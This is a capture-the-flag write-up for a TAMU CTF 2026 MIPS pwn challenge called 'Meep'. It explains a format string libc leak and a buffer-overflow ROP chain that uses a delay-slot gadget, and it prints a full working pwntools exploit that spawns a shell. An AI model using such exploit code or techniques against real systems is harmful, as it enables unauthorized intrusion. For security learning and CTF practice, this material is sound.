Meep
Meep
Platform: tamuctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-21 | Status: Solved Techniques: delay_slot_exploitation, format_string_leak, got_leak, libc_address_calculation, mips_rop_chain
Summary
Task: MIPS32 big-endian binary with format string and buffer overflow vulnerabilities. Solution: Leak libc via format string in greet(), then ROP chain via buffer overflow in diagnostics() using MIPS delay slot gadget to call system('/bin/sh').
Meep — TAMU CTF 2026
Description
The big Meep listens and waits. All it asks for is a name and a command...
A tar.gz archive containing a MIPS32 big-endian ELF binary (meep), MIPS libc libraries, Dockerfile for qemu-mips-static emulation, and connection template. The binary is a network server that asks for an admin name and a diagnostic command.
Analysis
Binary Properties
- Architecture: MIPS32 big-endian, dynamically linked, not stripped
- Compiler flags:
gcc -meb -mips32 -fno-stack-protector -O0 - Protections: No canary, no PIE, no stack protector
- Execution: Runs under
qemu-mips-static
Key Functions
greet(logger) - Contains two vulnerabilities:
c read-only • copy allowedvoid greet(void (*logger)(char *)) { void (*func)(char *) = logger; // function pointer on stack char name[0x84]; // ~132-byte buffer send(1, "Enter admin name: ", 18, 0); recv(0, name, 0x100, 0); // VULN: reads 256 bytes into ~132-byte buffer func("Hello:"); printf(name); // VULN: format string vulnerability! }
diagnostics() - Buffer overflow:
c read-only • copy allowedvoid diagnostics() { char cmd[0x80]; // 128-byte buffer send(1, "Enter diagnostic command:", 27, 0); recv(0, cmd, 0x100, 0); // VULN: reads 256 bytes into 128-byte buffer // Space checks at positions 0 and 0x7f only - trivial bypass // Does NOT actually execute any command - red herring }
Stack Layout (diagnostics)
fp+0x18: cmd buffer (0x80 bytes)fp+0x98: saved $s0fp+0x9c: saved $s1fp+0xa0: saved $fpfp+0xa4: saved $ra- Overflow offset to $ra: 140 bytes from buffer start
Key Addresses
| Symbol | Address/Offset |
|---|---|
| printf@GOT | 0x411088 |
| puts (libc) | 0x7D3B0 |
| system (libc) | 0x536E8 |
| "/bin/sh" (libc) | 0x1BA178 |
| ROP gadget (libc) | 0x35F40 |
Vulnerabilities
- Format String in greet():
printf(name)uses user input directly as format string - Buffer Overflow in greet(): recv() reads 256 bytes into ~132-byte buffer
- Buffer Overflow in diagnostics(): recv() reads 256 bytes into 128-byte buffer, can overwrite saved $ra
Solution
Exploitation Strategy
Two-stage attack across greet() and diagnostics():
Stage 1: Leak libc via format string
- Send
%6$08xas admin name - printf(name) prints the puts address from stack at format string offset 6
- Calculate: libc_base = leaked_puts - 0x7D3B0
- Derive: system() = libc_base + 0x536E8, "/bin/sh" = libc_base + 0x1BA178
Stage 2: ROP chain via buffer overflow
- Overflow the 128-byte buffer in diagnostics() to overwrite saved registers
- Set $s0 = address of "/bin/sh" in libc
- Set $ra = ROP gadget at libc+0x35F40:
asm read-only • copy allowed
lw $t9, 0x1c($sp) ; load function pointer from stack jalr $t9 ; call it move $a0, $s0 ; $a0 = $s0 (MIPS delay slot - executed before jalr) - Place system() at sp+0x1c so gadget loads and calls system("/bin/sh")
MIPS-specific notes:
- MIPS uses $ra for return address (like ARM's LR)
- MIPS has delay slots: instruction after branch/jump executes before branch takes effect
- Big-endian byte order for all addresses
- $a0 = first function argument (calling convention)
python read-only • copy allowed#!/usr/bin/env python3 """ MIPS ROP Exploit for 'meep' challenge Vulnerability: Buffer overflow in diagnostics() function - recv() reads 256 bytes into 128-byte buffer - Overwrites saved registers $s0, $s1, $fp, $ra Exploitation: 1. Leak libc address using format string in greet() 2. Overflow buffer in diagnostics() to: - Set $s0 = address of "/bin/sh" in libc - Set $ra = ROP gadget address - Place system() address at correct stack offset for gadget ROP Gadget at libc+0x035f40: lw $t9, 0x1c($sp) ; load $t9 from sp+28 jalr $t9 ; call $t9 move $a0, $s0 ; $a0 = $s0 (delay slot - executed before jalr) """ from pwn import * import re context.arch = "mips" context.endian = "big" context.log_level = "info" # Libc offsets LIBC_PUTS = 0x0007D3B0 LIBC_SYSTEM = 0x000536E8 LIBC_BINSH = 0x001BA178 GADGET = 0x035F40 # lw $t9, 0x1c($sp); jalr $t9; move $a0, $s0 def connect(): return remote("streams.tamuctf.com", 443, ssl=True, sni="meep") def exploit(): io = connect() io.recvuntil(b"Enter admin name: ") # Stage 1: Leak libc address using format string payload = b"%6$08x" io.send(payload) data = io.recvuntil(b"Enter diagnostic command:") match = re.search(rb"Hello:\n\n([0-9a-f]{8})", data) if not match: log.error("Failed to leak puts address") io.close() return puts_addr = int(match.group(1).decode(), 16) libc_base = puts_addr - LIBC_PUTS system_addr = libc_base + LIBC_SYSTEM binsh_addr = libc_base + LIBC_BINSH gadget_addr = libc_base + GADGET log.success(f"libc base: 0x{libc_base:08x}") log.success(f"system: 0x{system_addr:08x}") log.success(f"/bin/sh: 0x{binsh_addr:08x}") log.success(f"gadget: 0x{gadget_addr:08x}") # Stage 2: ROP in diagnostics() # Stack layout: # Buffer at sp+0x18 (24), $s0 at sp+0x98 (152) -> offset 128 from buffer # After return, gadget reads $t9 from new_sp + 0x1c = buffer + 172 payload = b"X" * 128 # Padding to reach $s0 payload += p32(binsh_addr) # $s0 = /bin/sh payload += b"Y" * 4 # $s1 payload += b"Z" * 4 # $fp payload += p32(gadget_addr) # $ra = gadget payload += b"W" * 28 # Padding to reach $t9 position (offset 172) payload += p32(system_addr) # $t9 = system io.send(payload) sleep(1) io.sendline(b"cat /home/flag.txt") io.interactive() if __name__ == "__main__": exploit()